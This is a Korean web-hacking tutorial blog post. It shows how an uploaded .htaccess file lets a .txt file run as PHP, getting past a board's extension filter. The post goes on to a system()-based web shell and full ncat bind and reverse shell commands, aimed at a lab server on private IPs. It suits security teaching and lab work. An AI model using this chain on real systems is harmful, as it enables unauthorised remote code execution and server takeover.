2017. 8. 31. 19:31ㆍWebHacking/Web
< 아파치 웹 서버 설정 파일 >
1> 전역 설정 파일 ( 아파치 웹 서버 전체 웹페이지에 적용 )
/etc/httpd/conf/httpd.conf
2> 로컬 설정 파일 ( .htaccess )
해당 파일이 존재하는 디렉터리와 그 하위 디렉터리에만 설정이 적용된다
사용하기 위해서는 /etc/httpd/conf/httpd.conf 338번 라인 " AllowOverride ALL "로 수정 후 사용해야 한다
로컬 설정파일은 보통 아래와 같이 사용한다
로컬설정파일 작성경로 : /var/www/html/zboard/.htaccess ( zboard와 그 하위 디렉토리는 .htaccess 파일의 설정이 적용된다 )
zboard 페이지에만 설정을 적용하려고 zboard디렉터리에 해당 파일을 작성한다
AuthType Basic AuthName "Basic Auth Text" AuthUserFile /var/www/html/.htpasswd // .htpasswd파일에 계정들을 저장한다 Require valid-use // 그 파일의 계정으로 접속해야 해당 웹 페이지에 접속이 가능하다 |
.htaccess파일은 이처럼 해당 웹페이지에 허가된 사용자들만 접속할 수 있도록 설정할 때 주로 사용한다
.htaccess파일을 이용해서 파일 확장자를 우회하는 방법에 대해 알아보도록 하겠습니다
[ 우회원리 ]
" .htaccess 파일과 공격용 코드파일을 하나의 디렉토리에 위치시킨다 "
" .htaccess 파일에 정의된 설정이 공격용 코드파일에 적용되는 원리를 이용한다 "
#1. 확장자 필터링 우회하기
[ 1> .htaccess 파일생성 ]
=> .txt 와 .php 확장자 파일은 php모듈로 읽어들이라는 설정
AddHandler php5-script [확장자] 해당 확장자 파일을 php-script5로 처리
AddType text/html [확장자] 해당 확장자 파일을 처리할 타입
[ 2> .htaccess , attack.txt 파일 생성 ]
이 두개의 파일을 게시판을 통해 업로드하여 웹 페이지 서버 내의 파일안에 다운로드한다
[ 3> 두개의 파일업로드 ]
클릭한다면 ! 5번의 결과를 얻게될것이다
[ 4> 서버파일 확인 ] /var/www/html/zboard/data : 게시판에 업로드한 파일 저장디렉토리
그림에서처럼 " /var/www/html/zboard/data " 파일안에 .htacess 와 attack.txt 파일이 같이 존재하고 있다
즉 .htaccess에서 정의한 설정이 attack.txt 파일에 적용된다
게시판에서 attack.txt 파일을 다운로드 하려고 클릭해보자 !
[ 5> http://192.168.6.123/zboard/data/attack.txt ]
.htaccess설정으로 인해 zboard/data디렉터리와 그 하위 디렉터리는 .txt 확장자를 가진 파일을 php모듈로 읽어들이게 됩니다
따라서 attack.txt 파일은 php로 실행되어져 attack.txt라는 웹 페이지로 작동합니다
attack.txt 웹 페이지에서 입력해놓은 <?php print"Hello php~?"; ?> php명령어가 정상적으로 실행된 결과를 확인할 수 있습니다
print 명령어 대신 웹쉘이라든지 다른 공격코드를 작성해놓으면 공격이 성공됩니다
#2. Web Shell
위에서 공격파일에 입력한 출력문 대신에 아래코드를 입력합시다
[ 쉘 실행 명령어 ]
GET방식으로 넘어온 cmd변수를 system함수로 실행한다
[ attack2.txt 클릭시 http://~/attack2.txt 페이지로 이동 ]
[ 서버 파일 ]
/var/www/html/zboard/data 디렉터리에는 게시판에 업로드하는 파일들이 저장되는 곳입니다
해당 디렉터리에 .htaccess파일과 php소스코드 파일들이 같이 존재합니다
따라서, .txt 확장자의 php소스코드 파일을 업로드함으로써 php확장자파일의 업로드를 거부하는 필터링을 우회할 수 있다
결국 .txt 파일들은 php로 동작하여 해당 파일을 다운로드하려고 클릭한다면 공격 웹페이지로 이동하게됩니다
아래는 게시판에서 attack2.txt파일을 다운로드하려고 클릭하여 http://192.168.6.123/zboard/data/attack2.txt 웹페이지로 이동된 결과입니다
[ cmd=명령어 => 해당 명령어 작동 ]
#3. Bind Shell
* 공격대상 서버에 포트를 오픈시킨다음 공격자 서버에서 해당 포트번호로 연결을 시도한다
[ cmd변수에 명령어 조작 ]
http://192.168.6.123/zboard/data/attack2.txt?cmd=ncat -e /bin/sh -l -p 1414 |
웹 페이지에서 해당 명령어가 실행된다 ( cmd=ncat -e /bin/sh -l -p 1414 )
#ncat -e /bin/sh -l -p 1414
=> IP주소는 아파치 서버 ( 192.168.6.123 )이고 1414포트가 오픈된다
-e /bin/sh : 입력하는 문자를 /bin/sh로 읽는다 -> 명령어로 실행된다
윈도우용 ncat 파일을 다운받은 후 접속해보자 ( 구글에서 "window netcat다운" 검색 )
" nc.exe 192.168.6.123 1414 " => 해당 IP주소의 포트로 연결한다 ( nc.exe : netcat파일명 )
[ 윈도우에서 명령어 실행결과 ]
윈도우에서 해당 웹 페이지의 서버의 포트로 연결을 시도
=> 입력하는 명령어가 apache의 권한으로 실행되어지는 것을 확인 할 수 있습니다
#3. 리버스 쉘
* 공격자서버에 포트를 오픈시킨다음 공격대상서버에서 공격자서버의 포트로 연결을 시도하도록 한다
* 방화벽에서 아웃바운드 정책이 허술하다는 측면을 이용한 쉘 획득 방법
[ 과정 ]
1> 공격자의 서버에서 특정 포트를 열어 놓는다
2> 웹서버에서 해당 공격자의 서버로 접속하도록 한다
3> 공격자는 명령어를 사용할 수 있다
[ 1> 공격자의 서버에서 포트 오픈 ]
공격자서버 ( 192.168.10.224 )의 8585번 포트를 오픈시킨다
[ 2> 웹 페이지에서 공격자 서버로 접속 ]
http://192.168.6.123/zboard/data/attack2.txt?cmd=ncat -e /bin/sh 192.168.10.224 8585 |
=> 192.168.10.224의 8585포트로 연결을 시도한다
-e /bin/sh: 서버에서 문자열 입력시 명령어로 인식된다
* 바인드 쉘과는 반대로 공격자서버로 연결을 시도하는 희생자서버에서 -e 옵션을 주어서 ncat연결을 하였다
* 공격자 서버에서 입력하는 문자들이 희생자서버에서의 apache권한으로 명령어로 실행되어지는 것이 확인된다
'WebHacking > Web' 카테고리의 다른 글
SQL injection 개념실습 (0) | 2017.09.04 |
---|---|
SQL injection 개념, 원리 (0) | 2017.09.01 |
CSRF ( Cross Site Request Forgery ) (0) | 2017.08.29 |
XSS ( Cross Site Scripting ) 개념 및 실습 (1) | 2017.08.28 |
PHP와 MySQL을 활용한 게시판 만들기[4] - 게시글목록 (0) | 2017.08.25 |